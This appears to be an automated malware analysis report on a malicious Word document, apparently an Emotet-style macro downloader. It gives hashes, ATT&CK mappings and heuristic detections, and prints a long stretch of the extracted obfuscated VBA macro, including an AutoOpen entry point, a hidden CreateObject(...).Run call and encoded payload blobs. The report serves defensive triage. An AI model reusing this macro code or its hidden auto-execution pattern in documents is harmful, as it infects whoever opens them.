Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 baf58a4bc4d98bba…

MALICIOUS

Office (OLE)

233.0 KB Created: 2018-03-30 13:45:00 Authoring application: Microsoft Office Word First seen: 2018-04-23
MD5: 24494ff5988d56db75b0dedf204354a8 SHA-1: 24cae5fde31a7ece61d3f4790d9634c3e356ad9e SHA-256: baf58a4bc4d98bba31011d2c598c9ff7783c7dc243e491478d287d3e99f0d3fa
192 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros, as indicated by multiple heuristic firings including OLE_VBA_MACROS and OLE_VBA_PCODE_AUTOEXEC_EXEC. The AutoOpen macro is present and uses CreateObject, suggesting an attempt to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further confirms its malicious nature. The script attempts to deobfuscate a payload using the `hoqRZk` function with concatenated strings.

Heuristics 8

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    nhwlX = BprVQc / ChrW(iVUIEi * jSjZa) - EEqUKm * vwKJQ * 81106 / CSng(6982)
    CreateObject(citUsuoH).Run pLiAkVlmvprWPo + Chr(VBA.vbKeyC) + rwCTpjPotkQu + zXLltwwXK + RfjKLsNbat, vbHide
    FZqPS = vfTPw * dMmEE
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "qGBrHiGCLRGSb"
    Sub AutoOpen()
    On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37341 bytes
SHA-256: 9b6512fdabdd2cb76e874db49baa0c68ffa087f7db4f7f38fa5e73114ec2b4d1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
837 of 1318 identifiers look randomly generated (e.g. 'jADcAZQAyADcAYQAzADkANgAyADQAMABjAGEAYgB') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EDWwiEEzAkjAjl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zriPdZpjNhQBz"
Function vDOVZzHMnVzO()
On Error Resume Next
BZIMEM = Pmwcr * CXVon
biuBB = BsJwif / ChrW(siVLN * viLoo) - qLVsFL * KGMzGX * 12379 / CSng(64989)
jRdsw = hoqRZk("R@BcrpA3ADUANgAyADAAMgBkADYAYgBkAGYAMABkADYANgAxAGQAZQBjADUANQA4ADEANgAxAGMAMAA0AGEANABkADgANQA2ADYAYQBhADYAYwBjAGQAYgAzAGEAZQA2AGYAMwBkADgAYQBhADcAYQBhADMAZgAzADAAZAA0AGEAZABlAOCz", 7, 171)
UOREQ = wmhLI * rrQpG
KTfzE = GVPjlP / ChrW(GisJwX * LkNiKu) - DSOvH * wvOXUK * 58657 / CSng(94751)
jVIolD = KwKmzt * FMJpo
qqouQ = nozJjM / ChrW(CJTZi * iAMji) - bpZawG * wVAsh * 27855 / CSng(47525)
rMiWZwIUfn = hoqRZk("rXdPtORA3AGQAZABiAGEAZAA2AGMANwBhADcAMQAwADkANgAzADcANwAzADMAMQAyADQAYz3", 8, 63)
PBMnaZ = qOlnbY * LiKFz
FOOzCc = tCRmK / ChrW(aPzzt * VswLp) - fipKW * bPjlBn * 25933 / CSng(71217)
IIdkp = jKnKO * MuDVvD
CBWcNw = JmQrjK / ChrW(TFwJWR * EWEwTB) - Nmzzro * DmjQmr * 15574 / CSng(93764)
fOwnbp = hoqRZk("nS7hXaAOQBhADYAYwA2AGUAOQBiAGMAYQA5ADkAMQA1AGEAOQA1AGMANgAzADkAMwA5ADMANgAzADIANwAxAGYANwA5ADEAYwA4AGMAMAAyADEAYQAzAGUAOAA1ADYAZQBjADQAZAAxADMANwBhADF1V", 7, 143)
vbDSso = LZmDw * RdtzRv
QrrWzQ = QskZo / ChrW(cIXPj * ZfoaFl) - YUCXoa * wdEkh * 37390 / CSng(54074)
dUCli = QomNbi * ZrhjM
Fcwcf = vvHGh / ChrW(OiMTZJ * wEoiJ) - pjWjnK * MCiojs * 44843 / CSng(24420)
ObTtmSXD = hoqRZk("5@gAwADcAMwBhADQAZABiADMAMwBlAGMANwBkADQAMgAzAGUANgA4ADcCaKb6v1", 3, 54)
CIhEjN = zGSXiP * Qzmqq
YPUwBQ = AYmhm / ChrW(IBfzFC * jZZVnz) - nRqtBh * PnolD * 35450 / CSng(2993)
izBrjT = BcPCjC * zSHjfW
bZnBjH = tRPZWz / ChrW(dPAtl * aljqEd) - pErCk * XCZOpA * 23665 / CSng(12306)
htBIJ = hoqRZk("X1ADgAZQBkAGIAMgBhADIAMgA3AGYAOABhADIAZABmADkANQBhAGUANAAxADQAMgA0ADIAZgBjADcAZQAxADEAZAAwADAAMgA4ADEANwA2AGYAMwA1AGYAMAA3ADkAMABkAGEAYQBmADQAMgAyADUANwA2ADUANgAxAGYAMwAyADAANwBaOWBC", 2, 176)
KAdND = UDHmu * BpqwwD
poaMpm = QDAKsY / ChrW(RbjNrZ * VBjQq) - VNjSs * YQUjon * 51007 / CSng(53635)
zdcMZP = DkVbEI * GYzCzc
bAnDi = nSKkCt / ChrW(XBVIr * YIXSE) - FIwAiJ * bbVdo * 18948 / CSng(84234)
dDsDdR = hoqRZk("1DwJwBiADEAZABiADkAMAA3AGIAMQA2AGQAZQA1ADkANAA1ADkAMwBmADEAYgBmAGMAYgA3ADYANAA1AGUAZgA5ADkAMwAwADQAMgBkADQANwBlADcAMgAzAGEANwA5ADUAMgBkADcANwA0ADAAZgBjADYANQAxAGQAZABhAGYAOQBlAGUAYgAxADYAN0T", 5, 184)
KkakZ = EGEDr * cEIEh
XcmpSj = iRcCYh / ChrW(zCNXzh * VACtzm) - rWSRvE * PiVSuJ * 82999 / CSng(86707)
jcavVR = CrmdH * JiLNMj
HTjKm = sCBrd / ChrW(psXQGi * hWAkdw) - EYLnbL * ZTMsQJ * 14949 / CSng(48701)
TPdzFfoHD = hoqRZk("J2An%A5ADUAZABhADYAMwBmAGYAMgBlADkAMgA0AGIANAA1ADkAYQA1ADMANgA5AGQANAA1ADIAOQBhADYAMAA2ADgAZQBmAGQAZAAwADEAMQA0ADUAMAAxADcAYgAyADAAMQA0ADYAYgBkAGEAZgBlAGQAMgBlADEANwBhADUAMAAwAGIAMQAwAGUANAA4AGIGtD", 6, 189)
BAJuS = lREicw * GjGOrI
rNQRA = YLYqV / ChrW(IQzkTB * Qnuitj) - tNdmBS * FOnjsu * 5654 / CSng(29801)
SuJrzU = ECmAwW * kCnScs
UvvVMI = LjpiQ / ChrW(HWzVK * qzpTX) - AKcsK * dvtzzO * 40839 / CSng(75887)
VYFdEsRBhmz = hoqRZk("rFhC5CMwBjAGQANABjAGIAMAAwADUANgBkAGEAZQAxADkANwBmADYAZABiADgAMgA2AGUAZgAzADcAOAAyADIAOQBiAGIAOQBiADYAYgA0AGQAYgA3ADUANQA4ADkAYwBhADAAZgBmAGMAMQBmADcAYwA1ADcAZAAyAGMANwA2AGIAMgA3ADgAYwA3AGDt", 7, 182)
ZsWzS = FVNDRI * BzfcX
LwpTV = FVXKXl / ChrW(WwRHT * FiupO) - skLtwS * qLbOk * 49393 / CSng(2080)
NBRVm = XIkiXl * jYhELj
zIHIw = fzTFa / ChrW(pXbRT * jEzTGF) - XAECiA * RFBEu * 16735 / CSng(46915)
UOsdpb = hoqRZk("BADYAM@X@5,V", 2, 5)
FapiEP = VFGOSi * BjCCiZ
avoEG = kWWXKN / ChrW(zZdbA * cfzvQ) - omDUCr * wQffBa * 95106 / CSng(48379)
CvFjtp = NEPOz * YTnhEK
ofzsrB = mVkwtR / ChrW(cZXOU * EcfuT) - dZHsSE * VDXwNs * 84586 / CSng(95961)
tOXMTbnoMpm = hoqRZk("QzkADIAZAA1ADQAMwAwADUAOAA0ADYAZgA0ADgAZgBmADQANwBiAGEANgBmAGMAMABjADEAOAA3AGUANwBlAGIANQA2ADAANgBlADgANAA0ADMAMwA3ADkAMgAzAGcLB0p", 3, 123)
rTTVhk = tPSjzl * zCYQY
icSrR = IEaKWc / ChrW(YkLbw * sdNczU) - jsXwob * fBPBb * 8125 / CSng(71541)
rpwwH = pUrmG * vdjDbF
AOvjMG = jqZpNn / ChrW(vajON * cNiIDw) - fCfLa * nPuvJ * 73218 / CSng(81090)
zqHqFNUT = hoqRZk("LMAOQA2ADUAOAA3AGEAMABiAGQAMAAyADMANQqKKdkirz", 2, 36)
YwvBZ = JACAp * XMnkn
NFQjLN = wzDAi / ChrW(cXVDO * Gifrfz) - VMtbcK * jYkwr * 75562 / CSng(63848)
kjMGXh = LNQNBU * kbQGX
WzTMW = KOkTu / ChrW(EdEDM * HbHVwm) - uclcV * VhhGm * 24820 / CSng(1599)
dRwXd = hoqRZk("CuA3ADMAYQA4ADAAOABmADYAYQBiADYANAAzAGMAZgAzADIAZAAwADQAMQBlAGYAZABiAGEAZgA3ADEACAYI", 3, 78)
QWjbtV = wrIjO * wwRAAj
bdZlON = ZXXRq / ChrW(FrEau * RKzlc) - GfWlPG * jFHnwv * 24653 / CSng(63358)
YntjQ = skTIIY * WdkGOZ
GkLKMc = YOYUn / ChrW(BaFzi * UmLFub) - vFPWwL * HznbjW * 77566 / CSng(58844)
BJrDjKpXTNl = hoqRZk("hTKMANQBiADkAMwAzADQANAA5AGQAMQAyADkAMgBkADUANABmADMANABmADUANgA1ADgAOABkAGYAZgBiAGIAOQBkADkAYQBmAGYAYgA2ADUAOAAwADMAYwA5AGQAMwBmAGUAMAAwADAANAA5ADAANgBkADQAMAA3ADcAMQA4ADgAMwA3ADkAZgA3AGQptp0", 4, 185)
WvoUA = wXlYcE * ufRiYh
IrZIz = EmdPL / ChrW(qSpJGG * TIslaj) - TCIKAz * XMfWf * 40682 / CSng(68433)
FsTpBz = KkQTjR * TUINRa
ADOhfc = cjkmJ / ChrW(PnJRwq * EMSRJ) - pjwhY * VPFoE * 15186 / CSng(40478)
liGAdlJjzc = hoqRZk("AQBlADcAYQBmbbwiD3", 2, 11)
WiAfj = cLfLr * aaiok
YQnriB = joZKw / ChrW(JdWdW * nlmmi) - mqJcu * QDIjEj * 59033 / CSng(7564)
uLFpzc = RLFZFz * UWiVz
KBnXd = NjsRB / ChrW(jGwDBv * jPwmj) - XXYaJn * DWYsYi * 23511 / CSng(50717)
lFoLMY = hoqRZk("jmzOpFlADYANwAzAGUAZgAzAGQAZAA0ADQAMgA1ADAAZAAxADkANQA4ADgANgBiADIANQA0AGQWwW", 7, 68)
RZtEp = sPRVn * TuOPD
FBpGii = jMiDi / ChrW(jkRwW * fBBfJJ) - AijcJd * CGYZL * 82799 / CSng(27435)
GUNrZ = wZivc * UjNtzW
YYFOKn = BLnnBf / ChrW(UfQPuA * KjdwJ) - qRUjJ * rqfAG * 5684 / CSng(8525)
jTUvd = hoqRZk("EV8qYwBhADIANwA1ADgAYwBiAGQAMAA1ADkAOQA3ADAANQAyADgANAAzAGMAMgA0ADUAZQBkADUANgA4AGMAOQBmADUAZAAzADcAMwA1ADUAMAAzADIAYgAyADkANwBmADQANAA0ADAAMAAwADQANgAwAGIANQA4ADYAMwBmADQAYwAxADAAYgwi", 5, 178)
Gmlvtw = zDwiEW * NpbRBi
krGiq = IpiKMq / ChrW(AYziD * XrOXC) - oLcqY * BWjWvf * 31962 / CSng(4034)
jSvrB = uzIOdA * bCXCXW
cvRjb = EPczv / ChrW(tFGhk * JsXKm) - XMizJ * KEKPs * 78384 / CSng(761)
uiUidEZUdB = hoqRZk("99Tw7AOQBiADgAYwA1ADkAOAA3AGUAMwBmADYAMgA3ADMAOAA1ADkAYQBkADcAZQA5ADEAYwAwADgAMgAyADcAZQA4AGMAMAAyADAAZAAzAGUAZgBiADIAN29G", 6, 114)
QcViV = TJHlU * mzOiv
JNIOq = GPnrJ / ChrW(NShVnj * toblN) - wfoZL * jTafmG * 2306 / CSng(74675)
hjUwQ = cuEspo * DvzNOT
irFnM = GZSWj / ChrW(TriHZ * qiSjRc) - bJwipo * aVkpd * 63584 / CSng(68046)
aOFPDkXu = hoqRZk("WcAYwAxAGIAMABhAGIANwA0ADMANgBiAGMANgAzADUAMAA5ADkAZQBmAGYANgBjADUAMgAxADEAYwA2AGEANwAyAz2@@", 3, 86)
aDbiJ = VsZnaR * lpCad
lwIudh = czHpd / ChrW(MiHOEi * IGRZq) - Xwpjh * ApwJS * 18421 / CSng(96876)
iqLaL = EnzvwF * WszacU
wAdsXk = NEUWbo / ChrW(BzOzvW * uiuSi) - UQlKT * OYiMSC * 50431 / CSng(93691)
aLWzFf = hoqRZk("WADUANQAwAGQAMwBjADkAZQBiADcAZQAwADYAMQAzADcAMwA1ADgANQAxADgANQAxAGEAOAA2ADIANwA4ADEAZAABEzhp", 2, 87)
icYUQP = tkchw * ERjZpO
wTKDv = KTmwvV / ChrW(MLGVz * GzXBi) - hmUQdt * LYuPS * 41416 / CSng(48069)
HEbqGS = wuluG * vzwuO
mzUbBY = ZjhAOr / ChrW(YOtOOE * zACzEv) - BwZTo * UincZ * 34335 / CSng(42793)
iUYTvHn = hoqRZk("pp7HDIANwAwAGYANwn", 5, 12)
iRuXDK = hGjjJr * wSczcM
jIjZU = uaQozi / ChrW(RjHcBk * Uqpnif) - hVAcpK * wJOzi * 67649 / CSng(65080)
juuOf = iCNjY * YNtKbM
zzIfth = HrbMS / ChrW(JkEaHL * RZioE) - qFcJjR * KsMbO * 2323 / CSng(64157)
HdjFc = hoqRZk("ViDgANgBiAGMANABmAGYAZAA4ADEAYgBhADAAMAAxADgAZgA='Nbsl5", 3, 48)
CnaAQq = nISCP * LZSTa
qwihvv = WRYdL / ChrW(dZPmE * oCXRUq) - BAwStH * BqiXFf * 10191 / CSng(16517)
jiqVS = uWAPwi * LXikQ
iArQc = YqfupY / ChrW(tGijL * lmNMpj) - aodYci * NlHrNO * 46782 / CSng(89741)
ucrGksW = hoqRZk("FsD22AMQAwADYAYQA1ADQAZABkADQAYQBjADYAOAAxAGMAYQAyADIAMwA3ADAAOQA7nza", 6, 60)
ObLqf = LjrSIf * UnChmW
NGSKrE = znSzD / ChrW(izldsK * cwhJWB) - QUojbC * uHJBz * 51898 / CSng(57594)
ivVhc = IbOid * hJWpQ
UQrUt = wLSSj / ChrW(hVrULr * VhKVwh) - PwJCt * EaQfVO * 3058 / CSng(28444)
AsUvc = hoqRZk("kEbFijAGEAZQAyADUAZgBlAGIAMgAyADgANgAzAGEAZgA2AGYAZAAxAGEANgA0ADQAZAA2AGEAYwBjADgAYwA3AGMAiwX", 6, 85)
QmquVA = hNwfK * VJvtmf
ACPZCo = ELzzp / ChrW(mRXiD * NHQwD) - TJFGj * bWXhNW * 32801 / CSng(85343)
iziKn = NCGwq * BibAD
WAUwCi = GHHKK / ChrW(ARzWsZ * BMJBwD) - udPVdk * nnphzv * 89685 / CSng(63206)
zbioLwHQ = hoqRZk("7%%I4NlQAMQBjADUAMgA2ADQAZQA3AGYAZABmADQAMwBjADkAMgAwADMAZQAxAGIAYQBlADUAMQAzAGIAZQA4ADAANgBjADcAOABlADEABj", 8, 98)
FrwLp = BIjbUr * qTAwn
crmhZ = NdJou / ChrW(nVBEJA * GDbHmC) - lizWh * IZETTK * 44799 / CSng(7276)
ZILVZZ = tENwQ * OGkJd
GcQIv = CKZYi / ChrW(lUEoZh * jooiN) - clqILS * nYtwI * 99690 / CSng(31061)
OrnYqfs = hoqRZk("w,9FQEAMgA3AGYANgBjADkAZQA1AGQAMgA2ADMAYQA3AGUAYwAzAGQAZgA0AGMANgA1ADQAYgA1AGEAZQA5AGIAZgA3ADgANgA1ADQAMwA4ADEAYwA2ADgAZAA2AGUAYwA5ADMAOQA2AGEAYwAzAGUAYQAzADMAYQAwADYAZgBmAGQAYgA0AGIAMAA1ADQAMwA3A5kL", 6, 191)
XOdVV = MwPahD * zlSuCQ
YLBOG = zNaGf / ChrW(RAIZK * sPQpa) - dPTqnb * GjznL * 26105 / CSng(29413)
TfQMc = wiiiG * JWRRaj
rvJSC = mKbIp / ChrW(THnGP * LcSat) - rMqaUi * HnCuUK * 25499 / CSng(27070)
bfPHWlqQ = hoqRZk("nQudQA1AGUAZQBiADUANQBlAGMAOABkAGYAOQAzAGYA.z", 5, 39)
qvWVo = nSVPC * PGuQC
bpVLpt = ikQNT / ChrW(BAKmXD * nlZYF) - jrrjH * SdmYii * 11029 / CSng(56973)
PLZNiD = hjCrZR * hTUzj
JcRzpw = lvNPz / ChrW(iYZXtC * WjGNZ) - EoSRHZ * KdntZY * 65422 / CSng(2073)
oDmKPlFR = hoqRZk("OOHOt5AGUAYgAwADEAMAA5ADkANAA4X", 6, 24)
mSnrw = oHwawO * aWEaC
NSdGqW = BljzV / ChrW(UJznZ * rRzKVj) - OlDQpw * qnuIL * 94371 / CSng(41150)
NXljun = Icopt * RqMwYV
GSnbI = OTFNP / ChrW(XaiQzE * RhFZw) - JkiFG * McHjuk * 19580 / CSng(46940)
JNpXndJ = hoqRZk("h0CPBiAGEANgBkADYAMQA3AGEANgBiADUAMwBjAGEAMQA1ADYAYQA5ADIANQAyAGIAZAAxADQANABhAGUANwBiAGMANQAwADcAZQAwAGEAZAA4AGYAOQAyADEAZAA0ADIANwBlADkAYwBswz", 5, 137)
ZvCOZ = WXjZP * UDWBso
zmjNz = DKPuoj / ChrW(fjslCL * NnMvf) - jrYliB * zZlpiD * 54338 / CSng(42338)
IXdlTE = sjCCEM * ODUuiZ
JFSdU = bhTOG / ChrW(iCjzcn * DPJFf) - mTNcWr * VdwSL * 14253 / CSng(98189)
ilUUZVm = hoqRZk("qANgAzAGIAMgBlADcAYgA0ADIANAA4AGIAMQAzADcAOAA5A,F.7Fj", 2, 46)
JLQnwF = qiDsHa * uAAnh
ANFwWp = FDRoVo / ChrW(tEtSi * IciYik) - AjwRYZ * kwGTQ * 12965 / CSng(54827)
USDdO = vNfVf * ZXVNi
IJjWI = zKEsDD / ChrW(IBqJov * SwDNP) - wUGHG * FYAOi * 96809 / CSng(19082)
HSEzEJPa = hoqRZk("9jADcAZQAyADcAYQAzADkANgAyADQAMABjAGEAYgBlADkAYwA5AGUAYwBjADgANgBlADcAMQAzAGYAYwAwADQAYgAxAGUANwBjADAAMwBjAGEAYwBlADUAMgA4AGQAMgBlADEAZQA0ADYAYwA4ADQAMQAxAGMAOQBiADcAYwA2ADMAOQA0AGMAMgBGuE0H", 3, 183)
iDKDJ = pXWjOj * KqKFT
EwfEw = nzHHnM / ChrW(imuOn * DmOaz) - tZzvh * JKsFNw * 98958 / CSng(26315)
hMpYX = waGuI * iwPcBd
MIdHt = JrXjL / ChrW(Hhzlz * HGmCf) - oVZqQ * uhikzK * 6080 / CSng(8700)
CVAiZ = hoqRZk("PrCLAYgA0ADAAMgBlAGMANAA5ADQANwAwAGMAYQBlADQAMABkAGUAYQAxADAAYwAzADgANwA5ADQAOQBkADQAMQk2", 5, 83)
NOdYtv = BzhLRL * XmJdOT
kSbqm = iWjmit / ChrW(urIdm * GTaJF) - inKzo * olWcvC * 66496 / CSng(13320)
jLBpEn = AjjzJ * nbbUjs
ubwHuz = cAPCT / ChrW(mYrZtA * XhjMhZ) - wkRpfG * zHMuu * 14580 / CSng(33073)
QnXfDhmm = hoqRZk("KYGLI5 | CoNVErttO-SecUrEStRiNG  -KeY (219..196))) ) ) )Qd", 7, 50)
AUdjRo = kBajM * MvmaV
YsiaW = ZnQif / ChrW(tOkjLi * IHjAP) - wtQmM * TZGsvR * 89230 / CSng(14199)
DzaaTZ = tajQM * RlQju
hFqshh = STpLv / ChrW(QaAGY * NZXGU) - uriLs * jiFOj * 24633 / CSng(8336)
DsjXQzw = hoqRZk("AXq51GMANwBiADgAZAAyADIAYQAyAGQANAAzADMAYgA4ADYANgBkADUANwA2AGMAZAA2ADMAMQAxADEAZQA2AGIAYQA5ADEAYwA3ADkAYQBhAGMAYgBiAGEAMgA3ADUAYQBhADYANABlADQANQA3ADAAZAA0AGIAOQA1ADUAZABmADwPX", 6, 169)
sRGsEP = LwzQfr * jLKzWX
qYHapc = zBtnB / ChrW(PwSiCF * jviuNI) - BtEhq * GCszSP * 74472 / CSng(45678)
tEXbY = WEFjGE * AQBdl
JwmaFa = SWMcqi / ChrW(tSBaTH * QuZtNF) - aPtrKz * cHiSAw * 18476 / CSng(98907)
rdWGMGN = hoqRZk("7pFsKAYQAwAGIANAAxAGYAMQAxAGQAYwA2ADYAZgBjAGEANAA4ADIAOQAxADgAYwA4ADAANwA1AGUAYQBkAGQAZQAzADYAMgBlAGUAYgA1AGMAOABiADgAZgA3ADQAYwBjADIAZABlAGQAZgBkADIAOQA5AGEAOQAwADEANwBkADcAZQAzADEAOAAOCi5", 6, 180)
dqcFGi = aKivs * MhrVb
HTkfiY = KXHTI / ChrW(RCwCk * ssBShj) - hauzb * XRsYsK * 96276 / CSng(62972)
lHMjz = mHPjPc * OsMob
EGTjw = IoqUc / ChrW(bGjVJ * WmiPN) - FFZaPD * YMliIS * 51350 / CSng(27387)
nnDwfpiK = hoqRZk("dW7CANAAyADkAZQA5ADcANABiAGEAYwAyAGYANAAyAGYANgA4AGMAMgBlADQANgBmADUAZAAzADMANwA3ADIAYwA3AGEAMgBiADcAYQA3AGQAZQA2ADYANQBlAGQAYwBmAGEAMABhAGIAYgBiADMAMgBiADkANAAyADMANgAyADYAMgA2AGUANgBhADQAZAA3ADAAMk", 5, 193)
ozwmmI = WVtimR * cptWat
hZmiDK = baCjLv / ChrW(kSaJzR * FWVDG) - JpPvA * uGXKH * 67697 / CSng(96220)
PYMwi = sOmnn * wbvFrQ
oCwvsl = KzzhaI / ChrW(oTLDo * jlANzr) - VrbpI * SYSSdU * 21085 / CSng(70809)
TPOdtplI = hoqRZk("hGbC0xADgANgA2AGMANwAzADUAMgA4AGMAMQBlAGIANQBjADw", 6, 42)
vREMi = JHkCCi * DBjvA
cTVHZf = iWBijd / ChrW(fqjIm * QLkqn) - RQUQi * TiIkZJ * 60835 / CSng(64325)
HLckY = tWkQm * JssnR
DUMII = MPBwE / ChrW(YsmqZa * SFkhY) - hRLzw * ChkWI * 87225 / CSng(97939)
GPVEmi = hoqRZk("FhzBDMAZQAwAGMAYgA2ADAAYQBlAGYAZABiADcANQAxAGMANwAzAGQAZQA1ADgA4iq73", 5, 59)
IXIwu = tstTS * SOwzT
nBaCBS = oBJnW / ChrW(zaXQuw * mGMpYr) - fsninD * FzcFV * 80489 / CSng(91412)
wYvNzp = UFjNE * VkRfz
jXwBz = dwjwow / ChrW(XnMfO * GqKuuD) - pZzHu * fozNz * 42782 / CSng(91467)
oGpffhKdGw = hoqRZk("5OAA0ADAAMAA2ADf8i%@Bz", 2, 14)
TrmYQ = MhfJFD * qdWdEw
CEzYBS = MaaMJ / ChrW(VmzXW * SFItpC) - hoKajv * NSOrO * 43984 / CSng(96304)
UsVYN = tWjTZQ * RLHtZO
iAFKlV = MMdiR / ChrW(KsvcjC * RHiMwa) - dUPzw * SYTnK * 75539 / CSng(83960)
MEolZHFPzB = hoqRZk("0ZgA3ADMAMwAzADIAOQBmADQAMgBlADMANQAwAGY3jKFAX4l", 2, 39)
hKClI = cYPfKX * fXSsOK
wrwdl = KlZIS / ChrW(KIjwja * nsEFkp) - UnBBu * crcqNY * 552 / CSng(86799)
zwiJI = zPjwoj * lwEwc
jiTDp = jjrqfw / ChrW(OVoza * THsjKw) - KIGiI * LhHjj * 91141 / CSng(78566)
duKCS = hoqRZk("3BltGkADEAMQBmAGUANwA4AGEAMQAxADMAZAA0AGYAMgA1ADUANABkIo", 6, 49)
YBHYE = WSBzwi * JznzI
cabdI = XllGlI / ChrW(lWuGk * GwrrH) - miHBj * mXoMz * 94120 / CSng(46589)
zcRmwJ = DPlwH * dJhIF
HcRRT = WizZs / ChrW(vOzEA * ihZCL) - qUwvfH * UVIuAi * 20629 / CSng(96354)
DCDQzQM = hoqRZk("owhwBjADEANwBmADEANgBkAGIAOABlAGEAMABkADkANwA4AGUAMwAyADMANQA0AGEAOABhAGUAMAAzAGIANAAzADAAMgBmADYAMgA4ADgAOAA1ADAAOAA1AGMANAA3ADIAOABhAGMAZQBmADEANABkADQAYQA5ADkAOQAnW4", 4, 161)
abWdW = CsWZJN * XzEQcb
YaCrkY = nUzWpV / ChrW(HzjiR * RGZGw) - qwLpjF * wrAZit * 97640 / CSng(442)
YGAPN = WoGzH * QDBrOp
QQOial = GBGkrC / ChrW(XLKQYf * QZOuBi) - qrSSs * bwKXa * 56860 / CSng(35111)
nHjhKowm = hoqRZk("GArNwA2ADMAZQA0AGEANABkADgAMQA5AGIAYQA0AGQANQA2AGUANQA3ADkAOAAxADcAMAA4AGQAMgA3AGEAMgAxADIAOABiADEAMwBjADQAYwA3ADkAOQBhADMw7S", 4, 119)
VhWGE = trrap * DAqAo
GpQJn = wBIYB / ChrW(qvNkur * owTMwz) - ciwbHK * AWcrLt * 8672 / CSng(15351)
cXLJo = RokVj * YnsupI
OMaFwG = PoNONn / ChrW(IPdJt * kchbE) - Bzfrbw * XZtCR * 26590 / CSng(5562)
MpuHH = hoqRZk("adzj9BDUAOQA0ADAANwBjAGUAMwA2ADQAZQA0ADgAYwBkAGMAYwBkADAAYwA2ADIAMwAyAGEAMQA5AGIANwBVP", 7, 78)
CcbVH = oPXOlv * HlfwBH
kkzlS = PlONL / ChrW(qChAGF * zMhIcq) - FQoND * GwXSf * 79328 / CSng(5270)
ktmJYK = TJoCh * SBhujm
UGEXzM = wLvXM / ChrW(AWFbFm * lWvCf) - hctrAb * hfipO * 19312 / CSng(22214)
wQDzToV = hoqRZk("wlNgAzADQAZQA1ADAAYQBiAGQAZABlADIA44aR", 3, 32)
YHNRpv = wvFpuj * zLCrMf
EUvvFE = sQMvb / ChrW(MPhkp * lfwlKh) - niSmW * jHTmSV * 69542 / CSng(81751)
bKnjJ = UIDjY * HBcWwS
UpmTua = YKCUZ / ChrW(OGcPA * qhbPNH) - hwuqNj * BzKoq * 85740 / CSng(17051)
qBdiTiqk = hoqRZk("MGElS%9u", 2, 2)
zKGjGL = AYMWA * HsaZMN
UdTolF = OwoYH / ChrW(zkRIiB * PwWdq) - rtGkPi * PYTqRw * 780 / CSng(1888)
uctDa = lXDZXk * jQAav
cHPisF = MTUrA / ChrW(MlpTzI * vGiDb) - iwpBf * EiGtfz * 2988 / CSng(96322)
RHlUUObjPv = hoqRZk("zUAMQBmAGIAOABjAi794P", 2, 15)
iRDLY = YcuwCS * tWYLDp
MXRpzv = FsJWw / ChrW(BQofr * aFUuF) - cdokVT * LWEHAN * 27631 / CSng(55636)
iqBPM = vqknl * dzQjPV
XNfAwZ = GAHRtT / ChrW(LFLsu * dQEOij) - qvLHMh * kFCqCp * 40845 / CSng(25043)
ZJrwBMBIkYd = hoqRZk(".la1GIAMgAzADgAOABiADIAZQAwADEAZQBjADkAMQAxAGEAYwA3AGMAYgBhADAAYgA3AGYAYgAxADYAMQBmADAANABkAGIAMAA1ADAAOAAyADcAZgBhADMAMsRO@", 5, 115)
jTtSjS = FrUrMH * RRPhA
pAFLb = FDUqF / ChrW(QVVuo * MXBFP) - qfdwkY * IUBGiO * 65632 / CSng(83894)
OMzBFA = IwXsp * tcfGoh
IMBVG = ZNUZs / ChrW(bOwjW * RnhKw) - dMJcz * LKjGcB * 20725 / CSng(55925)
CXtzuJXJXw = hoqRZk("4DIAMwAxADUANbLAzAq", 2, 12)
iaCoWi = ORvtID * tiwOr
tNzQfN = dUlwYt / ChrW(jMfWb * uwrjDj) - nmXin * kAUdl * 16993 / CSng(17209)
tlbDIw = BRVUD * haIms
KXcHM = jibOnf / ChrW(bIIcUV * QjnGco) - EvkiY * IYWQiP * 28695 / CSng(54206)
zJumABcStUz = hoqRZk("tZAA3ADIAOABhADMAZgAyADUAMQBjADAANgBjADcANQBhAGQAT@@8w2h", 2, 47)
wniqZ = GZzoQL * bkWfX
birjOp = CmrwEG / ChrW(wmzcl * hzWmu) - dEzmu * rkAlFH * 29587 / CSng(2065)
Komwww = ijimjW * vXnID
oJTwCJ = wBwVA / ChrW(uzBRXW * FsEULZ) - cNJCs * cmAUn * 90120 / CSng(78160)
